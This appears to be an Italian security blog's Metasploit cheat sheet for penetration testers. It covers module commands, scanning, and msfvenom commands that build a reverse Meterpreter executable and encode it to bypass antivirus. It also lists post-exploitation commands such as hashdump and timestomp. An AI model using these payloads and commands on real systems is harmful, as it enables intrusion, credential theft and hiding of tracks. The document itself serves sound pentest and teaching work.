1. Home
  2. iThink
  3. Hacking
  4. Come usare Metasploit Cheat Sheet
Hacking

Come usare Metasploit Cheat Sheet

Come usare metasploit cheat sheet

Come usare Metasploit Cheat Sheet

Il Metasploit Project è un progetto di sicurezza informatica che fornisce informazioni sulle vulnerabilità, semplifica le operazioni di penetration testing e aiuta nello sviluppo di sistemi di rilevamento di intrusioni. Il sottoprogetto più conosciuto è Metasploit Framework, uno strumento open source per lo sviluppo e l’esecuzione di exploits ai danni di una macchina remota. Altri sottoprogetti importanti comprendono l’Opcode Database, l’archivio di shellcode e la relativa ricerca.

Il Metasploit Project è conosciuto per lo sviluppo di strumenti di elusione e anti-rilevamento, alcuni dei quali sono inclusi in Metasploit Framework. È noto anche per aver pubblicato alcuni degli exploits più sofisticati, inoltre è uno strumento potente in quanto permette ai ricercatori di investigare su alcune potenziali nuove vulnerabilità

Metasploit è uno strumento popolare usato dagli esperti di pentest.
Ricerca per modulo:

msf > search [regex]

Specificare exploit da usare:

msf > use exploit/[ExploitPath]

Specificare Payload da usare:

msf > set PAYLOAD [PayloadPath]

Mostra le opzioni per i moduli correnti:

msf > show options

Set options:

msf > set [Option] [Value]

Start exploit:

msf > exploit 

Moduli ausiliari utili

Port Scanner:

msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24
msf > run

DNS Enumeration:

msf > use auxiliary/gather/dns_enum
msf > set DOMAIN target.tgt
msf > run

FTP Server:

msf > use auxiliary/server/ftp
msf > set FTPROOT /tmp/ftproot
msf > run

Proxy Server:

msf > use auxiliary/server/socks4
msf > run 

msfvenom:
Lo strumento msfvenom può essere utilizzato per generare i payload di Metasploit. (come Meterpreter) come file standalone e, facoltativamente, codificarli. Questo strumento sostituisce i precedenti strumenti msfpayload e msfencode

Run with “-l payloads”per avere una lista di payloads.

$ msfvenom –p [PayloadPath]
–f [FormatType]
LHOST=[LocalHost (if reverse conn.)]
LPORT=[LocalPort]

Esempio:
Reverse Meterpreter payload come eseguibile e reindirizzato in un file:

$ msfvenom -p windows/meterpreter/
reverse_tcp -f exe LHOST=10.1.1.1
LPORT=4444 > met.exe

Format Options (specified with –f) –help-formats – List available output formats
exe – Executable pl – Perl rb – Ruby raw – Raw shellcode c – C code
Encoding Payloads with msfvenom

Lo strumento msfvenom può essere utilizzato per applicare un livello di codifica per il bypass antivirus. Eseguire con “-l encoders” per ottenere una lista di encoder.

$ msfvenom -p [Payload] -e [Encoder] -f
[FormatType] -i [EncodeInterations]
LHOST=[LocalHost (if reverse conn.)]
LPORT=[LocalPort]

Esempio:
Codificare un payload da msfpayload 5 volte utilizzando shikata-ga-nai encoder in uscita come eseguibile:

$ msfvenom -p windows/meterpreter/
reverse_tcp -i 5 -e x86/shikata_ga_nai -f
exe LHOST=10.1.1.1 LPORT=4444 > mal.exe

Metasploit Meterpreter

Base Commands:
? / help: Display a summary of commands exit / quit: Exit the Meterpreter session
sysinfo: Show the system name and OS type
shutdown / reboot: Self-explanatory
File System Commands:
cd: Change directory
lcd: Change directory on local (attacker’s) machine
pwd / getwd: Display current working directory
ls: Show the contents of the directory
cat: Display the contents of a file on screen
download / upload: Move files to/from the target machine
mkdir / rmdir: Make / remove directory
edit: Open a file in the default editor (typically vi)
Process Commands:
getpid: Display the process ID that Meterpreter is running inside.
getuid: Display the user ID that Meterpreter is running with.
ps: Display process list.
kill: Terminate a process given its process ID.
execute: Run a given program with the privileges of the process the Meterpreter is loaded in.
migrate: Jump to a given destination process ID

  • Target process must have same or lesser privileges
  • Target process may be a more stable process
  • When inside a process, can access any files that process has a lock on.

Network Commands:
ipconfig: Show network interface information
portfwd: Forward packets through TCP session
route: Manage/view the system’s routing table

Misc Commands:
idletime: Display the duration that the GUI of thetarget machine has been idle.
uictl [enable/disable] [keyboard/mouse]: Enable/disable either the mouse or keyboard of the target machine.
screenshot: Save as an image a screenshot of the target machine.

Additional Modules:
use [module]: Load the specified module
Example:
use priv: Load the priv module
hashdump: Dump the hashes from the box
timestomp:Alter NTFS file timestamps

Metasploit Cheat SheetCome usare metasploit cheat sheet 1Come usare metasploit cheat sheet 2

Condividi LinkedIn Facebook X WhatsApp Telegram Email
Cybersecurity per PMI

Quanto è esposta la tua azienda?

Un hacker etico certificato trova le falle prima di chi attacca e ti dice come chiuderle, partendo dalla più pericolosa.

Marketing & Google Ads

Le tue campagne stanno bruciando budget?

Raccontami obiettivi e numeri attuali: ti dico dove intervenire per primo.

Coding & debugging

Codice scritto con l’AI? Funziona oggi. Reggerà domani?

Audit del debito tecnico e della sicurezza di app e siti, debugging e code review.

iLife · crescita personale

Riprogramma la tua vita con il metodo di un hacker etico

Percorsi one-to-one per capire dove sei, scegliere la direzione e arrivarci con metodo.

Digital Agency

Dove sta frenando il tuo business?

Una consulenza per capire cosa sistemare prima: sicurezza, tecnologia, marketing o persone.

Continua a leggere

Tutti gli articoli del blog

Rocco Balzamà
Parli direttamente con me

Il prossimo passo?
Parliamone.

Raccontami cosa vuoi proteggere, costruire o far crescere. Ti aiuto a capire da dove partire.

Di cosa mi occupo

Da oltre trent'anni faccio tre cose. Cerco le falle della tua azienda prima che le trovi chi vuole entrare. Imposto il marketing perché i risultati si possano misurare. E aiuto persone e aziende a capire chi sono, prima ancora di decidere cosa vendere.

Da remoto e in presenzaLavoro da remoto tramite call e videocall. Quando il progetto lo richiede, intervengo anche in presenza.
Seguimi sui social
CEHCertified Ethical HackerSicurezza informatica dal 1993
Gli strumenti con cui lavoro
  • Google Ads
  • Meta
  • WordPress
  • WooCommerce
  • Shopify
  • TikTok
Strumenti gratuiti